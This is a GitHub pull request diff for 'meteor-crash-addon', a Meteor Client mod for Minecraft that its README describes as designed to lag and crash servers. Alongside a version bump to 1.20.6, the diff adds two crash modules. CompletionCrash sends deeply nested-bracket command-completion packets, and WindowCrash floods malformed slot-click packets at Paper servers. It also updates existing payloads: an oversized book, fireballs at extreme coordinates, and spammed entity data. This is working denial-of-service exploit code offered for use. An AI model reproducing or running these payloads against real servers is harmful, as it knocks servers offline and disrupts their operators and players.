Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add WindowCrash, CompletionCrash + update to 1.20.6 #24

Merged
merged 6 commits into from
May 15, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions .github/workflows/gradle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -18,10 +18,10 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
- name: Set up JDK 21
uses: actions/setup-java@v2
with:
java-version: 17
java-version: 21
distribution: 'zulu'
- name: Grant execute permission for gradlew
run: chmod +x gradlew
Expand All @@ -32,8 +32,8 @@ jobs:
- uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
automatic_release_tag: "latest-1.20.2"
automatic_release_tag: "latest-1.20.6"
prerelease: false
title: "1.20.2 Build"
title: "1.20.6 Build"
files: |
./build/libs/*.jar
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,8 @@ An addon to Meteor Client that adds various modules designed to lag and crash se
</p>
<div align="center">
<a href="https://anticope.github.io/meteor-lists/pages/MeteorAddons.html"><img src="https://img.shields.io/badge/Verified%20Addon-Yes-blueviolet" alt="Verified Addon"><a/>
<img src="https://img.shields.io/badge/Version-v0.2-orange" alt="Version">
<img src="https://img.shields.io/badge/Minecraft%20Version-1.18.2-blue" alt="Minecraft Version">
<img src="https://img.shields.io/badge/Version-v0.6-orange" alt="Version">
<img src="https://img.shields.io/badge/Minecraft%20Version-1.20.6-blue" alt="Minecraft Version">
<img src="https://img.shields.io/github/last-commit/AntiCope/meteor-crash-addon?logo=git" alt="Last commit">
<img src="https://img.shields.io/github/workflow/status/AntiCope/meteor-crash-addon/Java%20CI%20with%20Gradle?logo=github" alt="build status">
<img src="https://img.shields.io/github/languages/code-size/AntiCope/meteor-crash-addon" alt="Code Size">
Expand Down
6 changes: 3 additions & 3 deletions build.gradle
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
plugins {
id 'fabric-loom' version '1.4-SNAPSHOT'
id 'fabric-loom' version '1.6-SNAPSHOT'
id 'maven-publish'
}

sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17
sourceCompatibility = targetCompatibility = JavaVersion.VERSION_21
archivesBaseName = project.archives_base_name
version = project.mod_version
group = project.maven_group
Expand Down Expand Up @@ -37,5 +37,5 @@ processResources {

tasks.withType(JavaCompile).configureEach {
it.options.encoding = "UTF-8"
it.options.release = 17
it.options.release = 21
}
8 changes: 4 additions & 4 deletions gradle.properties
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
org.gradle.jvmargs=-Xmx2G

# Fabric Properties (https://fabricmc.net/develop/)
minecraft_version=1.20.2
yarn_mappings=1.20.2+build.4
loader_version=0.14.23
minecraft_version=1.20.6
yarn_mappings=1.20.6+build.1
loader_version=0.15.11

# Mod Properties
mod_version=0.6
maven_group=Wide-Cat
archives_base_name=meteor-crash-addon

meteor_version=0.5.5
meteor_version=0.5.7
2 changes: 1 addition & 1 deletion gradle/wrapper/gradle-wrapper.properties
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.3-bin.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
2 changes: 2 additions & 0 deletions src/main/java/widecat/meteorcrashaddon/CrashAddon.java
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ public void onInitialize() {
Modules.get().add(new AACCrash());
Modules.get().add(new BookCrash());
Modules.get().add(new ContainerCrash());
Modules.get().add(new CompletionCrash());
Modules.get().add(new CraftingCrash());
Modules.get().add(new CreativeCrash());
Modules.get().add(new EntityCrash());
Expand All @@ -33,6 +34,7 @@ public void onInitialize() {
Modules.get().add(new MovementCrash());
Modules.get().add(new PacketSpammer());
Modules.get().add(new SequenceCrash());
Modules.get().add(new WindowCrash());

Commands.add(new CrashItemCommand());
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@
import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import meteordevelopment.meteorclient.commands.Command;
import net.minecraft.command.CommandSource;
import net.minecraft.component.DataComponentTypes;
import net.minecraft.component.type.NbtComponent;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
Expand Down Expand Up @@ -30,7 +32,7 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) {
power.add(NbtDouble.of(0));
tag1.putString("id", "minecraft:small_fireball");
tag1.put("power", power);
CrashFireball.setSubNbt("EntityTag", tag1);
CrashFireball.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag1));
CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball);
mc.getNetworkHandler().sendPacket(balls);
return SINGLE_SUCCESS;
Expand All @@ -40,11 +42,13 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) {
ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG);
NbtCompound tag2 = new NbtCompound();
NbtList pos = new NbtList();

pos.add(NbtDouble.of(2147483647));
pos.add(NbtDouble.of(2147483647));
pos.add(NbtDouble.of(2147483647));
tag2.putString("id", "minecraft:small_fireball");
tag2.put("Pos", pos);
gato.setSubNbt("EntityTag", tag2);
gato.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag2));
CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato);
mc.getNetworkHandler().sendPacket(elgato);
return SINGLE_SUCCESS;
Expand Down
21 changes: 11 additions & 10 deletions src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,17 +6,19 @@
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.meteorclient.utils.Utils;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.component.DataComponentTypes;
import net.minecraft.component.type.WrittenBookContentComponent;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtList;
import net.minecraft.nbt.NbtString;
import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.text.RawFilteredPair;
import net.minecraft.text.Text;
import org.apache.commons.lang3.RandomStringUtils;
import widecat.meteorcrashaddon.CrashAddon;

import java.util.ArrayList;
import java.util.List;
import java.util.Optional;

public class BookCrash extends Module {
Expand Down Expand Up @@ -78,15 +80,14 @@ private void sendBadBook() {
}
slot++;
ItemStack book = new ItemStack(Items.WRITTEN_BOOK, 1);
NbtCompound tag = new NbtCompound();
NbtList list = new NbtList();
List<RawFilteredPair<Text>> list = new ArrayList<>();
for (int j = 0; j < 99; j++) {
list.add(NbtString.of("{\"text\":" + RandomStringUtils.randomAlphabetic(200) + "\"}"));
list.add(RawFilteredPair.of(Text.of(RandomStringUtils.randomAlphabetic(200))));
}
tag.put("author", NbtString.of(RandomStringUtils.randomAlphabetic(9000)));
tag.put("title", NbtString.of(RandomStringUtils.randomAlphabetic(25564)));
tag.put("pages", list);
book.setNbt(tag);
WrittenBookContentComponent component = book.get(DataComponentTypes.WRITTEN_BOOK_CONTENT);
WrittenBookContentComponent newComponent = new WrittenBookContentComponent(RawFilteredPair.of(RandomStringUtils.randomAlphabetic(9000)), RandomStringUtils.randomAlphabetic(25564), component.generation(), list, component.resolved());
book.set(DataComponentTypes.WRITTEN_BOOK_CONTENT, newComponent);

mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(slot, book));
}
}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
package widecat.meteorcrashaddon.modules;

import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.IntSetting;
import meteordevelopment.meteorclient.settings.Setting;
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.client.MinecraftClient;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
import widecat.meteorcrashaddon.CrashAddon;

import java.util.stream.Collectors;
import java.util.stream.IntStream;

public class CompletionCrash extends Module {
private final SettingGroup sgGeneral = settings.createGroup("Rate");

public CompletionCrash() {
super(CrashAddon.CATEGORY, "CompletionCrash", "Funny Completion");
}

private int length = 2032;

private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
.name("Packets per tick")
.description("Amount of packets sent each tick")
.defaultValue(3)
.min(2)
.sliderMax(12)
.build()
);

@EventHandler
private void onTick(TickEvent.Post event) {

String overflow = generateJsonObject(length);
String message = "msg @a[nbt={PAYLOAD}]";
String partialCommand = message.replace("{PAYLOAD}", overflow);
for (int i = 0; i < packets.get(); i++) {
MinecraftClient.getInstance().player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand));
}
this.toggle();
}

private String generateJsonObject(int levels) {
String in = IntStream.range(0, levels)
.mapToObj(i -> "[")
.collect(Collectors.joining());
return "{a:" + in + "}";
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.component.DataComponentTypes;
import net.minecraft.component.type.NbtComponent;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
Expand Down Expand Up @@ -54,8 +56,10 @@ private void onTick(TickEvent.Post event) {
list.add(NbtDouble.of(pos.x));
list.add(NbtDouble.of(pos.y));
list.add(NbtDouble.of(pos.z));
//idk
tag.putString("id", "minecraft:small_fireball");
tag.put("Pos", list);
the.setSubNbt("BlockEntityTag", tag);
the.set(DataComponentTypes.BLOCK_ENTITY_DATA, NbtComponent.of(tag));
for (int i = 0; i < amount.get(); i++) {
mc.getNetworkHandler().sendPacket(new CreativeInventoryActionC2SPacket(1, the));
}
Expand Down
57 changes: 57 additions & 0 deletions src/main/java/widecat/meteorcrashaddon/modules/WindowCrash.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
package widecat.meteorcrashaddon.modules;

import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.*;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.client.MinecraftClient;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.minecraft.screen.ScreenHandler;
import net.minecraft.screen.slot.SlotActionType;
import widecat.meteorcrashaddon.CrashAddon;

public class WindowCrash extends Module {
private final SettingGroup sgGeneral = settings.createGroup("Crash");

private final Setting<Integer> crashPower = sgGeneral.add(new IntSetting.Builder()
.name("Packets per tick")
.description("Amount of packets sent each tick")
.defaultValue(6)
.min(2)
.sliderMax(12)
.build()
);

private final Setting<Boolean> disableOnLeave = sgGeneral.add(new BoolSetting.Builder()
.name("Disable on Leave")
.description("Automatically disables when you change leave.")
.defaultValue(true)
.build()
);

public WindowCrash() {
super(CrashAddon.CATEGORY, "Window Crasher", "Sends silly packets, paper 1.20.1");
}

@EventHandler
private void onTick(TickEvent.Post event) {
ScreenHandler handler = MinecraftClient.getInstance().player.currentScreenHandler;
Int2ObjectArrayMap itemMap = new Int2ObjectArrayMap();
itemMap.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
for (int i = 0; i < crashPower.get() + 1; i++) {
MinecraftClient.getInstance().player.networkHandler.sendPacket(new ClickSlotC2SPacket(handler.syncId, handler.getRevision(), 36, -1, SlotActionType.SWAP, handler.getCursorStack().copy(), itemMap));
}
}

@EventHandler
private void onWorldChange(GameLeftEvent event) {
if (disableOnLeave.get() && this.isActive()) {
this.toggle();
}
}

}